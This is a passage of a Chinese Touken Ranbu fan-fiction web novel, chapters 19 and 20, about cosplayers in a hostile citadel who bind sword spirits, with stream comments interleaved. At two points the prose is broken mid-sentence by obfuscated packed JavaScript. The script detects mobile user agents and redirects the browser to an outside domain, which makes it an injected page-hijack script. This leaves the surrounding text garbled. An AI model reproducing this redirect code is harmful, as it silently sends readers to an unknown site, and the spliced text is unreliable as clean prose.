他拔刀出鞘,打刀表面光滑完整,不见一丝瑕疵,或许因曾被磨短过,刀身较其他打刀宽些,但厚度却偏薄。 小乌coser凝神屏息,无声地潜入自身灵力,循着那丝异常的波动逐次递进,少年合眼,一道漆黑的印记浮现于脑海。 宗三左文字嗓音透着股昏昏欲睡的低迷,“你看到的是魔王刻下的记号,多么霸道……” 第六天魔王,制霸天下的织田信长吗,听说长谷部和不动行光等名刀都曾在其手下处事。 对于这位历史人物,刀剑男士的评价褒贬不一,不过这也正体现了织田信长的两面性,再如何伟大的人,都会有对应的缺点。 就在小乌coser想略过此处往其他方向探查时,极细的秽气自印记下冒出来,他立马警觉,控制着灵力将其包围。 “找到了,它就躲藏在印记下面。” 小夜手指揪住衣角,屏息凝神紧盯少年举动。江雪哥今日外出远征,便由他承担起照顾宗三哥的责任,他也要保护好哥哥才行。 小乌coser望向宗三左文字,他没有十全把握清除这股气息,如若打草惊蛇付丧神则将直面危险。 “竟然是将契约刻在这里了吗……” 宗三左文字单手抚上胸口,隔着布料那处黑色的烙印仿佛刚篆刻下般,微微地让他感到被烫伤般的刺痛。 自极化后,他已经很久没有产生这样的感觉了。 “以你的情况,应该早就被催化暗堕了才对,但神奇的是,那股腐朽的灵力被印记牵制住,无法向整体蔓延。”小乌coser放松灵力压制,瘴气虽隐隐有突破的迹象,但大部分被困在印记之下。 也许,织田信长也在保护宗三左文字。 “这个男人,真是阴魂不散啊。”付丧神如此言道,停在胸口的手指却渐渐攥紧了,他唇角尚带着笑,扑簌的睫毛掩去眸中的情绪。 宗三左文字是痛恨着织田信长的吗,毋庸置疑。但织田信长同样成就了宗三左文字。 粉发的付丧神拍拍始终紧绷的小夜,“来吧,总要过去的。” 小乌coser加大灵力的输出,印记下的阴冷气息彻底暴露出来,宗三左文字闷哼,随着打刀的嗡鸣,付丧神周身的灵力迅速被秽气同化,竟隐隐有暗堕之兆。 不详的黑气自宗三左文字体内逸散而出,直直冲旁边的两人扑去。 “宗三哥!”小夜被打刀猛然推开,秽气未能得逞,便调转势头袭上仍输出灵力的小乌coser。 [不妙,有暗堕的趋势!] [为什么付丧神体内会藏着如此邪恶的气息?我隔着屏幕都能感觉到那股臭味。] [小乌危险!暗堕可是会传染的,更何况是本灵!] 阴冷的气息沿着少年与打刀接触的小臂往上攀爬,小乌coser眼都不眨,生怕晚了一步自己也遭殃,汹涌的灵力蛮硬地把印记下的秽气连根拔起。 腰侧的髭切随后嗡鸣出声,那丝秽气残留被其强大的灵力碾压得干干净净。 小乌coser长呼出一口气,笑容刚挂上唇角,还没停留多久便倏然僵住。 他顺着体内那丝多出的陌生联系感应过去,对上宗三左文字忧郁的异色双眸,付丧神周身的气息与之前已迥然不同。 与膝丸coser之间的联系不同,他不光能够检测到宗三左文字的位置,就连付丧神的身体和心情状态都了如指掌。 [虽然危机解除了,但好像有哪里不对劲?] [感觉宗三整个刃都明媚了起来。] [这个灵力反应,契约似乎已经易主了。] [什么意思?抱歉我实在蠢笨。] [简单来说,那股暗堕气息连同宗三左文字与原渣审的契约被小乌暴力拔除后,契约对象自然就替换成了小乌。] 见风波平息,小夜左文字快步上前拉住宗三的手,短刀仰头欣喜地发现打刀脸色变得健康起来。宗三抬手揉揉小夜炸毛的蓝发,眸光柔和。 “从牢笼里跳到了另一个笼子里吗?”付丧神撩起鬓间垂落的粉发,不知是指他自己还是指小乌coser。 小乌coser故作镇定地将刀收鞘,他甚至不敢再去看左文字一家的表情。 救命,一不小心把刃给契约了该如何收场? 19.第 19 章 手合场不时传出交谈的声音,曾经被弃置的切磋室如今已经焕然一新,武器架上的刀具也被仔细地擦拭干净。 膝丸coser用抹布拭去木刀表面的积灰,试着挥舞了下,不料嚓地轻响,手里的木刀从握柄处断成两截。 “呀,那把朽坏了。”陆奥守吉行接过青年手里剩下的半截,递过去一把更结实的,“试试这把刀,木头放久缺少保养就会变成这样。” 狮子王擦擦额头冒出的汗,由于审神者的实用观念,本丸刀剑大都没有切磋的习惯,提升实力也是在战场见真章,手合场就这样被弃置不用,难为他们几个赶早从里到外打扫了番。 今早膝丸突然找上他,想要与他切磋一番,但狮子王自被召唤后就没出阵过,战斗经验也许还不如膝丸coser丰富。 顾及曾同在源氏共事的情分,不好拒绝的狮子王思前想后,带青年敲响了陆奥守吉行的屋门。 打刀完美继承其主人开朗豁达的性情,在这个本丸里属于少部分实力强还待人亲和的付丧神,一听说膝丸coser请求便痛快地答应了,甚至还热情地邀请狮子王一同训练。 “收拾得差不多了,我们开始吧。” 狮子王将拖把归位,顺手抄起把与本体重量相仿的太刀,“我先来吧,虽然不常出阵,但就此可别小看我哦!“ 膝丸coser同样握紧刀柄,木质刀具和铁铸的本体握感截然不同,用惯了铁刀具的人短时间无法完全适应,但以他的半架子还谈不上挑刀具,应该是刀具挑剔他。 狮子王先行出手,刀锋凌厉冲面门袭来,膝丸coser闪身避其锋芒,他挡下付丧神二次进攻,被传来的力道震了下虎口。 酥麻的痛感传来,膝丸coser咬牙,握紧刀柄以免被狮子王趁机挑飞武器。 狮子王同样是出身于源氏的刀,在打法上和膝丸coser有些相仿,一味地退让会被轻易击杀,他要在付丧神摸清他的出刀方式前,克敌制胜。 好在狮子王等级偏低,膝丸coser改变进攻策略,金瞳紧紧锁定眼前的付丧神,周身的气势悄然产生变化,这时他倒有些源氏重宝应有的样子了。 终于,狮子王被一击逼得后退,挥来的木刀直指命脉,付丧神举手认输。 “诶呀,真畅快!好久没有像这样酣畅淋漓地战斗了。” 狮子王握住膝丸coser伸过来的手,借力从地上站起来,他拍拍青年肩膀,夸赞不已,“不愧是源氏重宝,进步很迅速嘛。” “身为刀剑,我要学习的还有很多。”膝丸coser摇摇头,在刚才与狮子王的切磋中,他面对挥过来的太刀几次都产生退缩的冲动,导致他出招也犹豫迟钝。 “哈哈哈,刀法不是一天练成的,就连我的前主坂本龙马也是在道场认真修习,才能成为总教头。” 陆奥守吉行凑上前,猛地冲膝丸coser竖起大拇指,“不错不错,气势很足!” 他在一旁观战,自然能看出青年的闪躲,拥有人身后会害怕受伤理所应当,慢慢克服就好。只是万一发生意外,以膝丸coser如今的实力在本丸恐怕很难自保。 狮子王活动了下筋骨,他瞅瞅天色,阴沉的天空隐隐有降雨的趋势,昨天晾晒的衣物还未回收,被雨淋湿就麻烦了。 “大家,我先回去了,今天还有得忙呢。” 金色头发的付丧神冲膝丸coser摆摆手,“回头见,训练加油!” 目送狮子王的身影走出手合场,陆奥守吉行抽出武器架摆放的木刀。 爽朗的笑容从付丧神脸上消退,他将刀剑对准膝丸coser,神色认真严谨,“北辰一刀流,陆奥守吉行,参上!” 膝丸coser嘴唇微张,他踟蹰半晌,最终没有吐出有关源氏的应战词,“请多指教。” 手合场外,木刀相撞的声音持续不断地传出来,狮子王驻足观察片刻后放下心来。 “希望他能达成目标,我也得完成今天的任务呢。” 晾衣处与手合场相隔不远,手入室也在斜对巷,建立之初大概是为方便付丧神训练或修复后处理脏污的衣服。 竹竿上的纱布随风飘起,狮子王踮起脚去拨固定的架子。 “鵺!到底跑哪里去了啊,也不来帮忙。”狮子王嘟囔着。 近些天鵺连个影子也没冒出来,平日里它都会主动帮狮子王分担事务,他有些担心,按理说鵺就算贪玩也会回到他身边。等下解决完这些琐事就去找找吧。 收完晾干的衣物,狮子王按部屋分类完毕后将这些篮子放置在洗衣房,方便刀剑们自行领取。 做完这一切后,狮子王拎着竹篾来到源氏部屋,他准备好为弄丢被单的事情向〔髭切〕道歉了。 本丸里的刀剑对〔髭切〕避之不及,狮子王被召唤的时间不长,对此现象感到疑惑,虽然髭切态度时常冷漠,但也有在努力维持本丸运转。 所以说人家的真身其实是狮子,住那么大的院子是因为晚上饿了会变回狮子捕食刀剑是不是太离谱了? 还有,狮子之子最喜欢的食物竟然是玉刚吗?牙口真好啊! 脑中胡思乱想着,狮子王脚步一转,拐弯径直遇上了正在心里蛐蛐的刃。 “嘎嗷!”付丧神一嗓子把院子里休憩的乌鸦吓飞,狮子王略微心虚地看向停下来的〔髭切〕。 “唔,碰到什么可怕的事情了吗?”奶金色的太刀语气温和,明明知道是自己引起的还偏偏故意询问。 “没有的事!” 狮子王摆手否认,他斟酌片刻终于吐出口,“前段时间,我从你的部屋里将衣物拿去清洗,结果清数时不小心弄丢了张被单。” “我用过的被单吗?这种小事没有必要放在心上。”〔髭切〕歪歪头,他对待同样曾为源氏刀的狮子王较为宽容,更何况生活上还受其关照。 “是另一位髭切殿那里的,因为溅上了血迹,我就想顺带帮忙洗净,结果被风刮跑了。”狮子王见髭切态度和煦,不禁松了口气。 在粟田口听多了小故事,他真的怕〔髭切〕突然变成狮子嗷呜一口咬掉他的头,虽然真实度存疑,但谣言传播肯定有其道理的吧? 〔髭切〕却愣了下,呢喃着重复,“血迹,谁的血?” “可能是那振髭切殿或膝丸殿的吧?”狮子王挠挠头顺势回道,没有多想。 【“我咬得太狠,出血了。” 薄绿色头发的付丧神双颊羞红,唇齿开合间浓郁的血甜味扑面而来。】 记忆瞬间浮现在脑海,多久之前的事了呢,〔髭切〕面色陡然难看起来。 哪里会这么凑巧,本丸里暗藏危机他是知道的,审神者的威胁尚未褪去,他却因短暂的安宁放松了警惕。那块布这会应该在审神者手上了,如果弟弟们因此而被审神者窥伺…… 〔髭切〕唇角的笑容逐渐消失,握住本体的指尖攥得发白,就该早点砍下波多野的头。 对面的狮子王见状身体僵硬,脚步不着痕迹地后退。哪句话说错了吗,怎么突然反应这么大。 难道说,现在是狮子之子的变身时刻了吗,谣言竟然是真的!藤四郎诚不欺我。 * 源氏部屋主卧,直播球将屋内的场景同步反馈给屏幕前的审神者们,弹幕死道友不死贫道,对狼狈的膝丸coser展开嘲笑。 [他究竟干甚去了?] [膝丸:弟弟,我鬼混回来顺便把自己搞伤了,不用谢。] [准确来说两刃都没安生。] [小乌可是偷偷签了把刀啊!] “嘶……” 膝丸coser紧咬嘴唇却还是泄露出嘶声,他抬眼偷瞧少年表情。小乌coser用打湿的毛巾包裹住青年红肿的手腕,唇角抿直。 24小时内的扭伤和淤青冰敷最为有效,此时正值酷暑,流浪本丸自然不可能有制冰机这类机器,小乌coser只能让陆奥守到后山深井挑了桶冷水,代替冰块。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054081|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 满怀愧疚的打刀做事利索,拍着胸膛说就算是刀山火海他也有用勇气闯一闯。 “希望能起作用,不是决定要和〔髭切〕一起出阵吗?现在的情况来看,消肿前你哪也别想去。”妹妹头的少年语气强硬。 不是小乌coser非要拦人,实在是把脚和手都扭伤了的膝丸coser不配。当然,如果他能左手持刀,单脚跳进攻的话那另说。 【“操之过急就会出现意外,受伤丸太不小心了。” 在已极化的髭切眼里,膝丸coser尤其稚嫩,刀法亦或对人待物的态度,完全没有自己的理解,“简直是在凭本能处理事情。” 同振被兄长毫不留情地批判了。 膝丸注视着屏幕里的青年,作为髭切的弟弟,只有这种程度怎么能行。难道同振认为陪伴在身边的是容易心软的小乌,便可以放任自己吗? 不先想清楚真正想要的是什么,未下定决心,所有的努力都将付之东流。】 “保护好自己,我很担心你。” 膝丸coser沉默地应声,也不敢喊疼,委委屈屈地缩在原地抠榻榻米。 小乌coser叹了口气,正好对上青年偷摸瞄过来的视线,青年顿时猛地转过头,刘海都被甩出残影,身体还后知后觉地哆嗦了下。 老师,刚认识的时候你可没这么怂啊,我难道会吃人吗? 少年刚想说些什么缓解下氛围,怂怂的膝丸coser忽然开口了。 “小乌,你今天去哪里了?”青年像是斟酌许久,视线暗地里观察着少年, “我去了趟左文字部屋,如果你出阵中途遇到麻烦,可以向他们请求协助。” 小乌coser有些犹豫,他刚推脱掉与膝丸coser结契的事,今天就意外契约了宗三左文字,委托老师绝对会多想吧,偏偏拒绝了我之类的,还是先隐瞒一段时间吧。 “这样吗,怪不得……” 膝丸coser探身,确定少年没有生病才放心,他隔着段距离都能闻到小乌coser身上散发的苦中药味,害怕昨天他们分开后小乌coser受到伤害。 至于小乌coser提及的左文字一家,膝丸coser半点没听进去。 * 阴暗的地下室并不适合作为久居的住所,估计只有鼠蛇之类的动物才会被驱赶至此,宁可终生不见天日也要苟活着。 但谁说这样的存在不算是生命?比起冰冷的器物,像他们这样的生命才更有意义吧?为什么都去偏爱刀剑,而忽视挣扎活命的人类呢。 契约被暴力摧毁的反噬并不好受,血脉逆流使得他痛苦得不禁佝偻起腰,失去对本丸一把刀剑掌控的损失要比身体上的伤害更让他难以忍受。 “宗三左文字……除了织田信长还有谁这样保护你?” 区区一振刀而已,竟能夺得天下所有人的看重,就连失去战斗能力后还会获得拯救,到底在一天天自艾自怜什么?凭什么! 黏稠的血沿着手腕蜿蜒,剧烈咳嗽声渐渐沉寂下来,波多野用手背抹掉嘴角残留的血迹,他缓缓拨开遮挡视线的乱发,将那张阴柔的脸从长发间露出来。 一抹黑色的影子飞速自脚边溜过,棕褐色皮毛的鵺前爪扯住一块污黑的布料,不安地低吼着。 “你来了啊,乖孩子,好久不见。” 青年轻柔地笑起来,俯身抚摸鵺光滑的皮毛,被恼怒的鵺一口咬碎指骨也毫不在意。 波多野目光留意到鵺双爪擒住的东西,他抽出那块脏的不成样子的破布。 其上沾染的灵力已经随时间消散得差不多了,但波多野仍捕捉到不同寻常的灵力波动。 “这股气息……是破坏我契约的那股力量,原来如此,本丸来新人了吗?” 布料被青白的手攥出褶皱,青年起身踉跄着向更黑暗处走去,右袖管空荡地飘动,低低的笑声蔓延过来。 “作为东道主,我多少也要备至些礼物以表欢迎。” 20.第 20 章 清晨的第一声鸟啼唤醒沉睡的山野,静谧的森林活过来,嘈杂的蝉鸣后知后觉占领整个山间。夜里凝结的露珠尚未从叶面滴下便被强烈的日光蒸发殆尽,化作丝丝水汽。 身披白斗篷的身影于一处茂密的树荫下逗留,付丧神掀开遮阳的兜帽,露出双冷冽的蓝瞳,他抹去额头细密的汗珠,打算驻足休息片刻。 “真是炎热啊,这样的天气。”山姥切长义感叹着。 幸好此处树木繁茂,有足够的荫庇供他躲避毒辣的阳光,不然还没等找到地方,他就先中暑晕倒了。 因髭切本灵长时间未曾露面,旧党怀疑其已经失踪,按照刀剑与时政的约定,处在时政担职的本灵外,其他刀剑本灵如需外出皆要繁琐的程序后方可通过,以防发生意外。 在这个紧要关头,长义本灵不便亲自前往探查,新□□干脆借时政名义,下派了一振长义分灵作为监察官对a-43本丸展开先行调查。 根据髭切本灵回传的消息,a-43本丸应该就在这片森林附近,接下来只需要守株待兔等候本丸出阵部队,借机潜入本丸与髭切本灵会和。 付丧神可不是那么好糊弄的,除非那些刀剑有自救的倾向,配合他行动进行,不然山姥切长义必须在这段时间内做好潜入不成反被俘虏的准备。 “还有一场硬仗要打啊……” * 昨夜降下小雨,阴云却不见消散的迹象,雾濛濛的水汽充斥于呼吸的每口空气,混着夏季特有的闷热,使人睡得颇不安宁。 轻薄的毛毯被踢作一团,乱糟糟地摊在脚边,身下的棉褥仿佛吸饱了蒸汽,黏住裸露的皮肤,小乌coser滚到干燥的榻榻米上,微微的凉意唤醒他的精神。 这大夏天的怎么把空调关了,电费也不是这么省的。 又是一会儿,完全清醒过来的小乌coser爬起来,三步并作两步走出隔间,拉开幛门。屋内窒息般闷热被时不时的风吹得散了些,他倚着门框坐下。 少年怅然若失,昨夜睡着时的梦朦朦胧胧,恍惚时犹在眼前,清醒时却再记不起来,这还是小乌coser第一次忘记自己做的梦。 柔和的白光闪过,软乎乎的毛领凑过来,小乌coser疲累地眯起眼,难得没有避开髭切像猫咪一般的亲近。 “怎么出来了,不怕被发现吗?” “这些事情我不是很在意哦。” 髭切轻柔地应和,拥有千年阅历的付丧神已经淡化了对世间外物的关注,身份、荣誉之类的皆如过眼烟云。 用人类的话来讲,大概只有眼前血脉相连的亲人值得这位源氏重宝牵挂于心。 “也是,发生那样的意外,我大概已经暴露了,以后要怎么办呢……” 和宗三左文字契约是他想都不敢想的事,这意味着不光他和委托老师,小乌coser身上附加了另外的重量,之后想离开这个本丸大概很难轻易办到。 况且,那日在宗三本体上所感应到的灵力链接有意识地对小乌coser的灵力展开攻击,本丸的审神者应该已经察觉到他们的存在了。 能够制约全部刀剑的审神者拥有绝对的实力和手段,小乌coser他们身在这座本丸里,敌在暗我在明,如今的情况明显不利。 小乌coser将脸埋进双臂间,余光里注意着身旁付丧神的举动。 笑容始终温软和煦的太刀将手落在他头顶,习以为常地揉弄他的头发。 他实在看不透髭切的内心,在他明确表示排斥后仍心大地守在他身边,话里话外的试探更如同藏在棉絮里的针尖,被措不及防刺上一针,还没来得及生气,付丧神的安慰又来得及时,他刚升起的愤怒便被轻而易举地化解了。 “为什么愿意陪我到这里来呢?” 起初小乌coser提出寻找膝丸coser时,髭切并未趁机提出条件,付丧神象征性地推脱了会儿,便干脆答应,态度好得不可思议。 安安静静地充当外置战力被小乌coser佩戴,甚至让小乌coser产生了种被纵容后的愧疚心理。 如果髭切想的话,以他们之间的实力差距,强行掳走coser们也不在话下。 “兄弟就是要一直在一起啊。” 不知为何,髭切没有趁小乌coser迷茫的间隙诱导其和他一起前往本灵本丸,他直觉少年现在需要的是理解和安慰。 兄弟吗……小乌coser默念,双唇泄出声微不可察的嗤笑,就凭他吗?一个冒名顶替的coser。 他真想告诉髭切,coser是个冒牌货,不要再浪费时间和精力在他身上了,绝对会被辜负期待的。小乌coser害怕被髭切发现破绽,血淋淋地揭露他的身份,如此倒不如他先敞开马甲。 如果穿越的只有他一个人,小乌coser也许就向髭切坦白全部,将所有抖露出来,然后自己随便躲到某个角落直到死亡来临。 但委托老师和他一起来到这里,虽然这么说很自私,当小乌coser醒过来发现膝丸coser也在的那刻,他的心脏在窃喜,为不用独自一人而感到莫大的狂喜,甚至盖过突然穿越的恐慌。 他所努力的一切都是为了能把膝丸coser绑定在身边,尝试着亲近青年,骗他与髭切交易付出了代价,因他而展现出的激烈的情绪波动。 所有的所有,都在暗示膝丸coser,他对他很重要,不要离开。 事到如今,不是小乌coser说放弃就能够结束的。 “既然如此,为什么拒绝和弟弟丸结契呢?”像是能够听见少年心声,髭切以手托腮,“小鸟很重视弟弟丸吧。” “我不想,就是这样。” 小乌coser可以接受以审神者的身份与刀剑男士缔结契约,但无法和曾经身为人类的膝丸coser强化这种主臣关系。 尽管他拼尽全力想要留下膝丸coser,但如果青年下定决心离开,他更不愿意契约成为阻拦青年脚步的顽石。想走便走,生命从来就是自由的。 [桀桀桀,早起的婶婶有粮吃。] [不枉我一宿熬穿打联队战,就这么靠着源氏兄弟情续命!] [狮子大猫安慰限时版忧愁小乌鸦,美味的,截屏了。] [话说,既然小乌契约了宗三,不如把刀子们都签了。] [对啊,反正也暴露了,一不做二不休,今天本丸就易主。] [但成为审神者的话,会不会对日后实装有影响啊?本灵的话,还是待在所有本灵居住的本丸才更安全吧。] [我还挺期待小乌的数值,相信我本丸里的源平两氏也很想和小乌团聚。] 直播间的弹幕一下子被扯到关于小乌实装的问题,或许是看到感兴趣的话题,审神者们讨论得异常激烈,语音、数值甚至对极化后都展开大量猜测。 【“啊啊啊,这要怎么办,要是小乌因此被强迫实装了该怎么办?” 秋瑾实在控住不住局面,紧急联电其他同事,共同寻找应对方法。 轮班的源清麿认真浏览每条闪过的弹幕,可以放心的是,他暂且并未在其中发现明确怀有恶意的言论。 这意味着,大多数审神者仅是出于对小乌的喜爱和好奇而询问。 绀紫色渐变短发的付丧神静候秋瑾通话,打算稍后将发现告知审神者,他持笔记录下这一现象,错眼看见一抹白色的身影不知何时潜入进来。 见鹤丸国永注视了电脑屏幕有一会儿,源清麿语气温和地开口询问,“鹤丸殿是怎么想的呢?” 白色的鹤长长叹了口气,仰躺在榻榻米上,“虽然确实很想再见那孩子一面,但若是以这副强硬的姿态,还是希望他能跑得越远越好。” 向往自由是鸟类的天性,在平氏的一面之缘,鹤丸就发现那孩子身负着伤疤,尽管厚重繁复的狩衣将皮肤遮挡严实,他仍然感知到小乌正溃散着的豁口。 在腰侧,是一道竖劈下来的狭长刀伤,这种不会愈合的伤无论做什么都会被牵扯到,疼痛如附骨之疽。 但当时的小乌却为此而庆幸,原本这一刀要砍在脚踝处,行走不便的他日后将作为被供奉的观赏刀,在崇尚武力的源氏充当摆设。 所以那孩子做出反抗,于是伤口便出现在腰侧——格挡闪避时不慎被劈伤。 哪怕疼痛永久缠身,也绝不遵从被安排好的命运。这么倔强的性子,如果时政真的要求小乌实装分灵,他本人不情愿的话,鱼死网破也不罢休。 “原来如此,髭切殿和小乌丸殿他们也是这般想法吧,长久相伴着,自然会理解身边人的思想。” 源清麿笔尖划过纸面,他时常觉得,比起在特命调查任务过程中才熟悉起来的他,水心子和大庆关系也许要更亲近些? 他甚至会庆幸于这座本丸还未召唤出大庆直胤,还有足够的时间和水心子相处。 “长久相伴吗?” 鹤丸国永用手盖住脸庞,眸光透过指缝窥见棕褐色的木质横梁,他想起在平氏与小乌短暂的会面。 没有参与进那孩子的过去,稍微有点遗憾啊。】 直播间的讨论得热火朝天,现实的两刃之间却陷入尴尬的僵持。 “我去看看膝丸的伤势,闹着要出阵,结果出师未捷身先死,真丢脸。” 少年抹了把脸,将风吹到脸上的水汽擦净,他找了个借口结束与髭切的谈话。 上次的切磋,陆奥守完全遭受无妄之灾,本来有意指导,结果膝丸coser思维发散,一个不留神左脚拌右脚哐当就摔了。 “脑子里也不知道想什么呢。”小乌coser扶膝站起来,转身准备回到隔间。 他刚回过头,一抹熟悉的薄荷绿色映入眼帘,膝丸coser站在后面不远处,臂间搭着小乌coser的披衣,似乎愣在原地很久了。 “醒了?扭伤怎么样了?”小乌coser目光扫过青年的脚腕和手腕,欣喜地发现受伤的部位都消肿了。 膝丸coser动作有些僵硬,他上前先向髭切打了声招呼,才将目光转向察觉到他情绪不对的少年脸上,似乎是害怕与少年对视,膝丸coser率先移开视线。 青年展开搭在臂弯的披衣,盖在小乌coser身上,“我看你刚醒就急着吹风,虽然正值酷暑,但晨起易受寒,多穿件衣服免得感冒。” 膝丸coser脑子里还回想着刚才少年说的话,虽然知道不过是随口的玩笑,小乌coser只是重点关心他的情况,但却莫名其妙地给他心里带来阵阵潮湿。 意外频出的他,确实给小乌coser带去了许多困扰,不想和他建立契约也是省得麻烦吧。 小乌coser略微局促地揪住衣角,他直觉膝丸coser的表情不太对,难道听到他和髭切的谈话了吗。 不等他开口解释什么,膝丸coser抢先道:“我这就去取早饭,小乌和阿尼甲先在此等候片刻。” “好哦,别忘了我的那份。”髭切不忘朝落荒而逃的身影补充道,生怕落下一口吃的,直到膝丸coser的身影彻底消失不见。 “诶呀,伤心丸跑走了。”髭切在旁边轻飘飘地补刀。 小乌coser闻言回头瞪了置身事外的付丧神一眼,“他来了你也不提醒我?” 付丧神歪头,秀丽的眉头蹙起,“嗯,侦查这种事,还真是不擅长呢~” [抢人家清光的台词还有理了是吧?] [此刃绝对是故意的,逗弄弟弟们的心思永不停歇。] [说者无意,听者有心,就是形容这俩刃的吧。] [感觉小乌拒绝契约弟丸,不是仅仅“不想”这么简单。] [就类似,你现在选择我,可能只是迫不得已的想法,如有还有其他的人选,或者说换一个没有威胁的环境,你也许就会改变立场。] [总结,不想趁人之危,可能小乌认为哥切才是弟丸的最佳选择吧。] [替身文学还在追我。] 【真狩柊的本丸,第一部队刚结束上午的远征任务,解散的付丧神们无一例外要经过位于本丸中心的显示屏,感兴趣的刃会偶尔瞥两眼。 “诶呀呀,远征刚回来就看到弟弟丸和小鸟闹别扭了呢。” 髭切看向屏幕,奶金色的头发随动作摆动,一向迷糊的太刀在逗弄自己弟弟上格外热衷。 跟在他身后半步的膝丸摇摇头,习惯纠正自家兄长的口误,“是膝丸和小乌啊,阿尼甲,我们先回部屋休整再过来吧。” “嗯嗯,就这样办吧。”髭切懒洋洋地打了个哈欠,目光从屏幕上同振的脸上移开。 他一向不执着于身份之类的事情,所以就算发现直播里小乌身边的是髭切本灵,除非有审神者再三询问,各个本丸里的髭切们都统一地避而不谈。 就在两刃打算返回部屋休整时,今日的近侍压切长谷部赶到院内,打刀目光严肃地扫过在场付丧神。 “新的主命,第一第二部队立即前往大广间集合。” 什么任务需要集结两支部队呢,髭切目光移至屏幕上的少年,会是关于你的吗?】 在略有些尴尬的氛围里,三人用完早饭。 烛台切光忠的厨艺简直救星般的存在,将简陋的食材烹饪出美味的味道,活到现在全靠这口饭撑着。 补充完食物的髭切回到本体继续补觉,付丧神的身形消失,屋内一下子空旷了许多。 小乌coser静静注视着膝丸coser佩戴本体刀,盯着缠在青年手腕的那条青蛇发呆,青年的身影逐渐模糊了。 他总觉得似曾相识,仿佛在很久之前,他也曾这样沉默跪坐等候着谁。 “小乌,今天上午我会和出阵部队一起前往江户时代。” 熟悉的声音响起,少年仰首对上青年茶金色的眼睛,神思有瞬间的恍惚。 小乌coser很快清醒过来,“走吧,我送你去时空转换装置那里。” 少年起身随膝丸coser离开源氏部屋,细雨又悄然飘起来,带齿的木屐踩在冒出青苔的石砖路上,微微地打滑。 今日的出阵成员陆续就位,依旧由〔髭切〕带队,打刀有和泉守兼定、山姥切国广和久病初愈的宗三左文字,外加堀川国广一振极化胁差。 话说,宗三也是极化刀呢,小乌coser望向队中一身粉衣的付丧神。 敏锐的打刀精准地捕捉到少年的视线,发现是小乌coser后,付丧神原本紧绷的神色稍微柔和。 “来了吗,那就都到齐了。” 在众多刀剑付丧神面前,〔髭切〕的语气恢复了初见时的冰冷,“真是慢啊。” “抱歉,阿尼甲,整理装备稍微花了些时间。” 本丸里的刀装所剩无几,大家都默认给战斗经验最少的膝丸coser佩戴,从没接触过这类东西的青年着实研究了一会儿。 [诶呀,终于盼到弟弟丸杀敌了。] [整天闷在这个阴湿的本丸里我都要发霉了。] [小乌不一起去吗?] [想看小乌拔刀,本体是太刀的话,再怎么样也不会差到哪里去吧?] [为什么不出阵啊,难道真的和哥切说得一样,惧怕战斗?] [不会是有ptsd之类的虐点吧,那我真的要哭了。] [刀剑的职责就是战斗,到底为何要逃避本能呢。连本灵都是这副样子,以后实装的分灵就更不够看了呢。] [楼上逼逼叨叨瞎说什么呢!] 膝丸coser斜长的刘海遮住上半张脸,他在宗三左文字身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059400|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻到属于小乌coser灵力的味道。气味淡淡的,很快被风吹散,如果不是他太熟悉小乌coser的灵力,也许就被瞒过去了。 青年皱皱鼻子,在少年看过来时扯出一个不太难看的笑。 “早去早回,路上小心。” 小乌coser叮嘱道,他莫名有些心虚,便将目光移到〔髭切〕脸上,意思不言而喻。 奈何奶金色头发的付丧神与他对视,又而望向膝丸coser。眸光恍惚一阵,不知想到什么,脸色变得难看起来。 这是怎么了? 小乌coser无奈补充道:“照顾好膝……弟弟丸。”好险,差点就叫对名字了。 虽然这次出阵地点是简单图,但膝丸coser等级不高,特别是队内实力差距悬殊的情况下,遇见检非违使的话形势会很不利。 宗三左文字看出小乌coser眼底的忧虑,眼神扫过有所察觉的膝丸coser。 等大家都准备完毕,堀川国广启动时间转换器,耀眼的金光闪过,第一部队消失在原地。 暗沉的阴云褪去,万里晴空猛然出现在眼前,仿佛清新草木般的空气沁人心脾。 时隔几天,却像过去了一年之久,膝丸coser再次见到了晴天和太阳。 “泛着青草气息的山野,和天边隐隐透着薄绿色的浮云,有些怀念啊。” 膝丸coser以手遮挡日光,感慨地望着眼前的大山,在本丸阴森的环境里呆的久了,他的情绪也似蒙上层灰色的雾霭般,现在接触到外面,连心胸仿佛都跟着开阔起来。 如果单主也能一起出来就好了,少年看到这样的景色,心情一定也会变好吧。 “喜欢这里吗?但是这时候可不能放松警惕哦。” 走在前方的〔髭切〕回头,付丧神的态度比部队内其他刀剑要柔和得多,出征前的冷漠更像是膝丸coser产生的幻觉。 “放心吧,兄长。”膝丸coser握紧腰侧的本体,跟上部队的脚步,后面的话语声音渐小,随风飘去谁的身边,“不会让你失望的……” 很快,堀川国广探查的脚步顿住,他发现了第一批时间溯行军。 部队内的刀剑男士虽然实力不等,但战斗方式普遍老练,在〔髭切〕的带队下一路上过得很顺利,膝丸coser也积累了更多的杀敌经验。 本来应该是这样,但在他们斩杀掉最后一振敌刀,晴朗的天空毫无征兆地裂开一条漆黑的隧道,散发着恐怖气息的检非违使从中冲了出来。 “哎呀,还是出现了,跟在我身后。” 〔髭切〕语气轻松,付丧神早有预料会遇到检非违使,不管是人是鬼,切掉就好了。 检非违使的等级对标部队内实力最高的付丧神,他们其中最厉害的便是领队的髭切,也就是说,膝丸coser握紧刀柄,眼前的是一队媲美髭切的敌刀。 以现在他的实力,根本不可能打得过。 “别太担心了,区区越级杀敌,我可是手到擒来。” 